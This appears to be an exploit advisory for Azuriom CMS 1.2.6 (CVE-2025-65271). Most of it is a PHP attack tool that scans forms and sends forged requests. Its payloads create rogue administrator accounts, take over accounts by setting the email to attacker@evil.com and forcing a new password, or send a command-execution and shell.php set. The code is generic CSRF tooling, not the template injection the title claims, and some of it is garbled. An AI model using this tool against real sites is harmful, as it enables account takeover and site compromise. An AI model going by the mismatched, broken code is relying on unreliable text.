============================================================================================================================================= | # Title : Azuriom CMS 1.2.6 Client-Side Template Injection (CSTI) Privilege Escalation | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://azuriom.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212658/ & CVE-2025-65271 [+] Summary: A Client-Side Template Injection (CSTI) vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components (widgets, plugins, and admin panels) render untrusted user input inside the administrator’s browser. Low-privileged users can inject template expressions that execute JavaScript in the admin context. Successful exploitation allows: - Arbitrary JavaScript execution in the admin dashboard - Theft of administrator session cookies - Full privilege escalation to admin account - Further compromise of CMS environment The vendor fixed this issue in Azuriom 1.2.7 by sanitizing user input and preventing template expression execution. [+] PoC Description: This PHP-based proof-of-concept demonstrates CSRF/Client-Side Template Injection vulnerabilities. It detects vulnerable forms and generates live attacks or HTML PoCs. Features: - Detection mode: scans forms, CSRF tokens, evaluates SameSite cookies - Attack mode: injects payloads (admin, user, takeover, custom) - Generates `csrf_poc.html` for demonstration - Logs successful attacks and debug info (`csrf_debug.log`) [+] Usage: # Detection only: php csrf_poc.php https://target.com/admin/create # Execute actual attack: php csrf_poc.php https://target.com/user/update --attack --payload=takeover # Optional: use proxy and verbose output php csrf_poc.php https://target.com/api/users --attack --proxy=http://127.0.0.1:8080 -v [+] Output: - csrf_report.txt → Detailed scan report - csrf_poc.html → HTML proof-of-concept - csrf_debug.log → Debug info - successful_attacks.log → Successful attack attempts =================== '', 'action' => 'detect', 'payload' => 'admin', 'output' => 'cli', 'delay' => 1, 'threads' => 1, 'proxy' => '', 'verbose' => false ]; if (count($argv) < 2) { show_usage(); exit(1); } $params['url'] = $argv[1]; for ($i = 2; $i < count($argv); $i++) { if ($argv[$i] == '--attack' || $argv[$i] == '-a') { $params['action'] = 'attack'; } elseif ($argv[$i] == '--detect' || $argv[$i] == '-d') { $params['action'] = 'detect'; } elseif (strpos($argv[$i], '--payload=') === 0) { $params['payload'] = substr($argv[$i], 10); } elseif ($argv[$i] == '--verbose' || $argv[$i] == '-v') { $params['verbose'] = true; } elseif (strpos($argv[$i], '--proxy=') === 0) { $params['proxy'] = substr($argv[$i], 8); } elseif ($argv[$i] == '--help' || $argv[$i] == '-h') { show_usage(); exit(0); } } return $params; } function show_usage() { echo COLOR_BOLD . "Usage:\n" . COLOR_RESET; echo " php " . basename(__FILE__) . " URL [OPTIONS]\n\n"; echo COLOR_BOLD . "Options:\n" . COLOR_RESET; echo " --attack, -a Execute actual attack\n"; echo " --detect, -d Only detect vulnerabilities (default)\n"; echo " --payload=TYPE Payload type: admin, user, takeover, custom\n"; echo " --proxy=PROXY Use proxy (format: http://proxy:port)\n"; echo " --verbose, -v Verbose output\n"; echo " --help, -h Show this help\n\n"; echo COLOR_BOLD . "Examples:\n" . COLOR_RESET; echo " php " . basename(__FILE__) . " https://target.com/admin/create\n"; echo " php " . basename(__FILE__) . " https://target.com/user/update --attack\n"; echo " php " . basename(__FILE__) . " https://target.com/api/users --payload=takeover\n"; } // Logger class Logger { public static function log($message, $type = 'INFO') { $timestamp = date('Y-m-d H:i:s'); $log_message = "[$timestamp] [$type] $message\n"; file_put_contents(DEBUG_FILE, $log_message, FILE_APPEND); if ($type == 'SUCCESS') { file_put_contents(SUCCESS_FILE, $log_message, FILE_APPEND); echo COLOR_GREEN . "[+] $message" . COLOR_RESET . "\n"; } elseif ($type == 'ERROR') { echo COLOR_RED . "[-] $message" . COLOR_RESET . "\n"; } elseif ($type == 'WARNING') { echo COLOR_YELLOW . "[!] $message" . COLOR_RESET . "\n"; } else { echo "[*] $message\n"; } } public static function debug($message) { global $params; if ($params['verbose']) { echo COLOR_BLUE . "[DEBUG] $message" . COLOR_RESET . "\n"; } self::log($message, 'DEBUG'); } } // HTTP Client class HttpClient { private $ch; private $proxy; public function __construct($proxy = '') { $this->proxy = $proxy; $this->init(); } private function init() { $this->ch = curl_init(); curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($this->ch, CURLOPT_TIMEOUT, 30); curl_setopt($this->ch, CURLOPT_USERAGENT, USER_AGENT); curl_setopt($this->ch, CURLOPT_COOKIEFILE, COOKIE_FILE); curl_setopt($this->ch, CURLOPT_COOKIEJAR, COOKIE_FILE); if ($this->proxy) { curl_setopt($this->ch, CURLOPT_PROXY, $this->proxy); } } public function get($url, $headers = []) { curl_setopt($this->ch, CURLOPT_URL, $url); curl_setopt($this->ch, CURLOPT_HTTPGET, true); curl_setopt($this->ch, CURLOPT_POST, false); $default_headers = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Accept-Encoding: gzip, deflate', 'Connection: keep-alive', 'Upgrade-Insecure-Requests: 1', 'Cache-Control: max-age=0' ]; $all_headers = array_merge($default_headers, $headers); curl_setopt($this->ch, CURLOPT_HTTPHEADER, $all_headers); $response = curl_exec($this->ch); $info = curl_getinfo($this->ch); if (curl_errno($this->ch)) { Logger::debug("CURL Error: " . curl_error($this->ch)); } return [ 'body' => $response, 'info' => $info, 'headers' => $this->extract_headers($response) ]; } public function post($url, $data, $headers = [], $content_type = 'form') { curl_setopt($this->ch, CURLOPT_URL, $url); curl_setopt($this->ch, CURLOPT_POST, true); if ($content_type == 'json') { $post_data = json_encode($data); $headers[] = 'Content-Type: application/json'; $headers[] = 'X-Requested-With: XMLHttpRequest'; } elseif ($content_type == 'multipart') { $post_data = $data; $headers[] = 'Content-Type: multipart/form-data'; } else { $post_data = http_build_query($data); $headers[] = 'Content-Type: application/x-www-form-urlencoded'; } curl_setopt($this->ch, CURLOPT_POSTFIELDS, $post_data); $default_headers = [ 'Accept: application/json, text/html, */*', 'Accept-Language: en-US,en;q=0.5', 'Origin: ' . parse_url($url, PHP_URL_SCHEME) . '://' . parse_url($url, PHP_URL_HOST), 'Referer: ' . $url, ]; $all_headers = array_merge($default_headers, $headers); curl_setopt($this->ch, CURLOPT_HTTPHEADER, $all_headers); $response = curl_exec($this->ch); $info = curl_getinfo($this->ch); return [ 'body' => $response, 'info' => $info ]; } private function extract_headers($response) { $headers = []; // Try to extract cookies if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) { $headers['cookies'] = $matches[1]; } return $headers; } public function __destruct() { if ($this->ch) { curl_close($this->ch); } } } // CSRF Detector class CSRFDetector { private $http; public function __construct($http) { $this->http = $http; } public function scan($url) { Logger::log("Starting CSRF vulnerability scan..."); $results = [ 'vulnerable' => false, 'protection' => 'unknown', 'tokens' => [], 'forms' => [] ]; // Step 1: Fetch the page $response = $this->http->get($url); if ($response['info']['http_code'] != 200) { Logger::log("Failed to fetch page. HTTP Code: " . $response['info']['http_code'], 'ERROR'); return $results; } $html = $response['body']; // Step 2: Extract forms $forms = $this->extract_forms($html, $url); $results['forms'] = $forms; // Step 3: Check for CSRF tokens $tokens = $this->find_csrf_tokens($html); $results['tokens'] = $tokens; // Step 4: Analyze protection if (empty($tokens)) { $results['protection'] = 'none'; $results['vulnerable'] = true; Logger::log("No CSRF tokens found - Application may be vulnerable!", 'WARNING'); } else { Logger::log("Found " . count($tokens) . " CSRF tokens", 'INFO'); $results['protection'] = 'token_based'; // Test if tokens are actually validated $is_validated = $this->test_token_validation($url, $tokens); if (!$is_validated) { $results['vulnerable'] = true; Logger::log("CSRF tokens found but validation appears weak!", 'WARNING'); } } // Step 5: Test SameSite cookies $samesite = $this->check_samesite_cookies($response['headers']); if ($samesite == 'none' || $samesite == 'not_set') { $results['vulnerable'] = true; Logger::log("SameSite cookies not properly set", 'WARNING'); } return $results; } private function extract_forms($html, $base_url) { $forms = []; if (preg_match_all('/]*action=["\']?([^"\'\s>]*)["\']?[^>]*>/is', $html, $matches)) { foreach ($matches[0] as $index => $form_tag) { $action = $matches[1][$index]; // Make absolute URL if (strpos($action, 'http') !== 0) { $action = rtrim($base_url, '/') . '/' . ltrim($action, '/'); } // Extract method $method = 'GET'; if (preg_match('/method=["\']?([^"\'\s>]+)["\']?/i', $form_tag, $method_match)) { $method = strtoupper($method_match[1]); } // Extract inputs preg_match_all('/]*name=["\']?([^"\'\s>]+)["\']?[^>]*>/i', $form_tag, $input_matches); $forms[] = [ 'action' => $action, 'method' => $method, 'inputs' => $input_matches[1] ?? [] ]; } } return $forms; } private function find_csrf_tokens($html) { $tokens = []; // Check meta tags if (preg_match_all('/]+(?:name|csrf-token)=["\']?(?:csrf-token|_csrf)["\'][^>]+content=["\']?([^"\'>]+)["\']?/i', $html, $matches)) { foreach ($matches[1] as $token) { $tokens[] = ['type' => 'meta', 'value' => $token]; } } // Check hidden inputs if (preg_match_all('/]+type=["\']?hidden["\'][^>]+name=["\']?([^"\'>]+)[^>]+value=["\']?([^"\'>]+)["\']?/i', $html, $matches)) { foreach ($matches[1] as $index => $name) { if (preg_match('/(csrf|token|authenticity)/i', $name)) { $tokens[] = [ 'type' => 'input', 'name' => $name, 'value' => $matches[2][$index] ]; } } } // Check JavaScript variables if (preg_match_all('/(?:csrfToken|_token|XSRF_TOKEN)\s*[=:]\s*["\']([^"\']+)["\']/i', $html, $matches)) { foreach ($matches[1] as $token) { $tokens[] = ['type' => 'javascript', 'value' => $token]; } } return $tokens; } private function test_token_validation($url, $tokens) { // Try to submit without token $test_data = [ 'test_field' => 'csrf_test_' . time(), 'another_field' => 'test_value' ]; $response = $this->http->post($url, $test_data); // Check if request was rejected if ($response['info']['http_code'] == 403 || $response['info']['http_code'] == 419) { Logger::debug("Token validation ACTIVE (HTTP " . $response['info']['http_code'] . ")"); return true; } // Check response for CSRF error messages $error_patterns = [ '/csrf/i', '/token.*invalid/i', '/forbidden/i', '/access.*denied/i' ]; foreach ($error_patterns as $pattern) { if (preg_match($pattern, $response['body'])) { Logger::debug("Token validation detected via error message"); return true; } } return false; } private function check_samesite_cookies($headers) { if (isset($headers['cookies'])) { foreach ($headers['cookies'] as $cookie) { if (stripos($cookie, 'samesite=') !== false) { if (stripos($cookie, 'samesite=strict') !== false || stripos($cookie, 'samesite=lax') !== false) { return 'secure'; } elseif (stripos($cookie, 'samesite=none') !== false) { return 'none'; } } } } return 'not_set'; } } // Payload Generator class PayloadGenerator { public static function generate($type, $url) { $domain = parse_url($url, PHP_URL_HOST); $timestamp = time(); $random_id = substr(md5($timestamp), 0, 8); switch($type) { case 'admin': return [ 'username' => 'admin_' . $random_id, 'email' => 'admin_' . $random_id . '@' . $domain, 'password' => 'P@ssw0rd!' . rand(100, 999), 'role' => 'administrator', 'is_admin' => '1', 'privileges' => 'all', 'status' => 'active' ]; case 'takeover': return [ 'email' => 'attacker@evil.com', 'new_email' => 'attacker@evil.com', 'password' => 'H@cked123!', 'confirm_password' => 'H@cked123!', 'user_id' => '1', 'action' => 'update_profile' ]; case 'user': return [ 'name' => 'csrf_victim_' . $random_id, 'email' => 'victim_' . $random_id . '@' . $domain, 'password' => 'Temp123!', 'confirm_password' => 'Temp123!', 'subscribe' => '1', 'terms' => '1' ]; case 'custom': return [ 'cmd' => 'whoami', 'exec' => 'system', 'file' => 'shell.php', 'content' => '' ]; default: return self::generate('admin', $url); } } public static function generate_html_poc($url, $form_data, $payload) { $html = ' Security Test Page

CSRF Proof of Concept

This page demonstrates a CSRF vulnerability.

'; foreach ($payload as $name => $value) { $html .= ' '; } $html .= '

Loading attack...

Debug Information:

Target: ' . htmlspecialchars($url) . '

Time: ' . date('Y-m-d H:i:s') . '

Payload: ' . htmlspecialchars(json_encode($payload)) . '

'; return $html; } } // CSRF Attacker class CSRFAttacker { private $http; private $detector; public function __construct($http, $detector) { $this->http = $http; $this->detector = $detector; } public function attack($url, $payload_type) { Logger::log("Initiating CSRF attack...", 'WARNING'); // Step 1: Scan for vulnerabilities $scan_results = $this->detector->scan($url); if (!$scan_results['vulnerable']) { Logger::log("Target appears to have CSRF protection. Attack may fail.", 'WARNING'); } // Step 2: Get forms if (empty($scan_results['forms'])) { Logger::log("No forms found on target page", 'ERROR'); return false; } $target_form = $scan_results['forms'][0]; // Step 3: Generate payload $payload = PayloadGenerator::generate($payload_type, $url); // Step 4: Extract token if exists if (!empty($scan_results['tokens'])) { $token = $scan_results['tokens'][0]; if (isset($token['name'])) { $payload[$token['name']] = $token['value']; } else { $payload['_token'] = $token['value']; } } // Step 5: Execute attack Logger::log("Sending malicious request to: " . $target_form['action']); $response = $this->http->post( $target_form['action'], $payload, [], 'form' ); // Step 6: Analyze response $success = $this->analyze_response($response); if ($success) { Logger::log("CSRF attack potentially SUCCESSFUL!", 'SUCCESS'); Logger::log("HTTP Code: " . $response['info']['http_code'], 'SUCCESS'); // Generate HTML PoC $html_poc = PayloadGenerator::generate_html_poc($url, $target_form, $payload); file_put_contents('csrf_poc.html', $html_poc); Logger::log("HTML PoC saved to: csrf_poc.html", 'SUCCESS'); } else { Logger::log("Attack may have failed", 'ERROR'); } return $success; } private function analyze_response($response) { $http_code = $response['info']['http_code']; $body = $response['body']; // Success indicators $success_codes = [200, 201, 302, 303]; $success_patterns = [ '/success/i', '/created/i', '/updated/i', '/redirect/i', '/thank you/i', '/profile updated/i' ]; // Failure indicators $failure_codes = [403, 419, 401]; $failure_patterns = [ '/csrf/i', '/token/i', '/invalid/i', '/forbidden/i', '/error/i', '/failed/i' ]; if (in_array($http_code, $success_codes)) { // Check for success patterns foreach ($success_patterns as $pattern) { if (preg_match($pattern, $body)) { return true; } } // If no explicit failure patterns, consider it successful foreach ($failure_patterns as $pattern) { if (preg_match($pattern, $body)) { return false; } } return true; } return false; } } // Main Execution show_banner(); // Parse arguments $params = parse_arguments($argv); // Initialize HTTP client $http = new HttpClient($params['proxy']); // Initialize detector and attacker $detector = new CSRFDetector($http); $attacker = new CSRFAttacker($http, $detector); Logger::log("Target: " . $params['url']); Logger::log("Action: " . $params['action']); Logger::log("Payload: " . $params['payload']); if ($params['action'] == 'detect') { // Detection mode Logger::log("Running in DETECTION mode"); $results = $detector->scan($params['url']); echo "\n" . COLOR_BOLD . "=== SCAN RESULTS ===\n" . COLOR_RESET; echo "Vulnerable: " . ($results['vulnerable'] ? COLOR_RED . "YES" : COLOR_GREEN . "NO") . COLOR_RESET . "\n"; echo "Protection: " . $results['protection'] . "\n"; echo "Forms Found: " . count($results['forms']) . "\n"; echo "Tokens Found: " . count($results['tokens']) . "\n"; if (!empty($results['tokens'])) { echo "\n" . COLOR_BOLD . "Detected Tokens:\n" . COLOR_RESET; foreach ($results['tokens'] as $token) { echo " - Type: " . $token['type'] . "\n"; if (isset($token['name'])) { echo " Name: " . $token['name'] . "\n"; } echo " Value: " . substr($token['value'], 0, 50) . "...\n"; } } if (!empty($results['forms'])) { echo "\n" . COLOR_BOLD . "Detected Forms:\n" . COLOR_RESET; foreach ($results['forms'] as $i => $form) { echo " Form #" . ($i + 1) . ":\n"; echo " Action: " . $form['action'] . "\n"; echo " Method: " . $form['method'] . "\n"; echo " Inputs: " . implode(', ', $form['inputs']) . "\n"; } } // Generate report $report = "CSRF Vulnerability Scan Report\n"; $report .= "=============================\n"; $report .= "Target: " . $params['url'] . "\n"; $report .= "Time: " . date('Y-m-d H:i:s') . "\n"; $report .= "Vulnerable: " . ($results['vulnerable'] ? "YES" : "NO") . "\n"; $report .= "Protection: " . $results['protection'] . "\n"; $report .= "Risk Level: " . ($results['vulnerable'] ? "HIGH" : "LOW") . "\n\n"; if ($results['vulnerable']) { $report .= "RECOMMENDATIONS:\n"; $report .= "1. Implement proper CSRF tokens\n"; $report .= "2. Set SameSite cookie attributes\n"; $report .= "3. Validate Origin/Referer headers\n"; $report .= "4. Use state-changing verbs (POST/PUT/DELETE)\n"; } file_put_contents('csrf_report.txt', $report); Logger::log("Detailed report saved to: csrf_report.txt", 'INFO'); } elseif ($params['action'] == 'attack') { // Attack mode Logger::log("Running in ATTACK mode", 'WARNING'); echo COLOR_YELLOW . "\n[!] WARNING: This will execute actual CSRF attacks!\n"; echo "[!] Only use on authorized systems!\n"; echo "[!] Press Ctrl+C to abort within 5 seconds...\n" . COLOR_RESET; sleep(5); $success = $attacker->attack($params['url'], $params['payload']); if ($success) { echo COLOR_GREEN . "\n[+] ATTACK COMPLETED\n" . COLOR_RESET; echo "Check 'csrf_poc.html' for a demo exploit\n"; echo "Check 'successful_attacks.log' for details\n"; } else { echo COLOR_RED . "\n[-] ATTACK MAY HAVE FAILED\n" . COLOR_RESET; echo "Check 'csrf_debug.log' for error details\n"; } } echo "\n" . COLOR_BOLD . "=== SESSION INFORMATION ===\n" . COLOR_RESET; echo "Cookies saved to: " . COOKIE_FILE . "\n"; echo "Debug log: " . DEBUG_FILE . "\n"; echo "Timestamp: " . date('Y-m-d H:i:s') . "\n"; // Cleanup if (file_exists('debug_response.html')) { unlink('debug_response.html'); } Logger::log("Execution completed", 'INFO'); Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================